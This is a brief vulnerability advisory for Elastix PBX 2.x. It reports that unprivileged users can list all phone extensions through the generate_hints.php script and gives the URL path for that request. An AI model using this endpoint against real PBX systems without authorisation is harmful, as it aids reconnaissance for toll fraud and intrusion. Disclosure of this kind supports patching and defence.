Elastix PBX suffers from an extension enumeration vulnerability.
55d17d5b186355b3e0e5d0079ca0909b3e7d453109f9bae233328a8e7712d0e0
# Exploit Title: Elastix PBX Extensions Enumeration
# Date: 1 Oct 2011
# Author: Bassem Saleh
# Contact: Injector[at]live[dot]com
# Software Link: [https://www.elastix.org/]
# Version: 2.X and may be below versions
# Tested on: 2.0.3
================================================================
#Non privileges users can enumerate all extensions exist through generate hints function#
https://127.0.0.1/admin/modules/framework/bin/generate_hints.php
================================================================